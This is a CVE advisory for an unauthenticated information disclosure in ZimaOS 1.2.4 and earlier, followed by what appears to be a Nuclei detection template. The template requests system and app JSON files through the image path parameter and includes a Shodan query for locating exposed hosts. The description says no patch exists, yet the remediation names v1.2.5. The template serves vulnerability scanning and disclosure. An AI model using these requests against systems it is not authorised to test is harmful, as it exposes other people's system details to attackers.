ZimaOS is a fork of CasaOS, an operating system for Zima devices and x86-64 systems with UEFI. In version 1.2.4 and all prior versions, the API endpoints in ZimaOS, such as `http://<Server-IP>/v1/users/image?path=/var/lib/casaos/1/app_order.json` and `http://<Server-IP>/v1/users/image?path=/var/lib/casaos/1/system.json`, expose sensitive data like installed applications and system information without requiring any authentication or authorization. This sensitive data leak can be exploited by attackers to gain detailed knowledge about the system setup, installed applications, and other critical information. As of time of publication, no known patched versions are available.
PoC
id: CVE-2024-49357
info:
name: ZimaOS <= v1.2.4 - Sensitive Information Disclosure
author: DhiyaneshDk
severity: high
description: |
ZimaOS is a fork of CasaOS, an operating system for Zima devices and x86-64 systems with UEFI. In version 1.2.4 and all prior versions, the API endpoints in ZimaOS, such as `http://<Server-IP>/v1/users/image?path=/var/lib/casaos/1/app_order.json` and `http://<Server-IP>/v1/users/image?path=/var/lib/casaos/1/system.json`, expose sensitive data like installed applications and system information without requiring any authentication or authorization. This sensitive data leak can be exploited by attackers to gain detailed knowledge about the system setup, installed applications, and other critical information. As of time of publication, no known patched versions are available.
impact: |
Attackers can access sensitive system and application data, potentially aiding further malicious activities or reconnaissance.
remediation: Upgrade ZimaOS to v1.2.5 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-49357
- https://github.com/IceWhaleTech/ZimaOS/issues
- https://github.com/advisories/GHSA-hg2h-q5h6-r5c4
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-49357
cwe-id: CWE-200,CWE-862
epss-score: 0.23655
epss-percentile: 0.97694
metadata:
verified: false
max-request: 2
vendor: zimaos
product: zimaos
shodan-query: "ZimaOS"
tags: cve,cve2024,zimaos,casaos,exposure
http:
- method: GET
path:
- "{{BaseURL}}/v1/users/image?path=/var/lib/casaos/1/app_order.json"
- "{{BaseURL}}/v1/users/image?path=/var/lib/casaos/1/system.json"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"installed_apps":'
- '"os_version":'
- '"cpu_info":'
condition: or
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
# digest: 4a0a00473045022100efc81d96467d5c6cd1afd7a8eb1514acf76a0496d9f1a5d62c8bf78df9d9194002204f0b272c37c581a8525396db4fdc62811006e316ab8a602304aa805b7d9e16fd:922c64590222798bb761d5b6d8e72950
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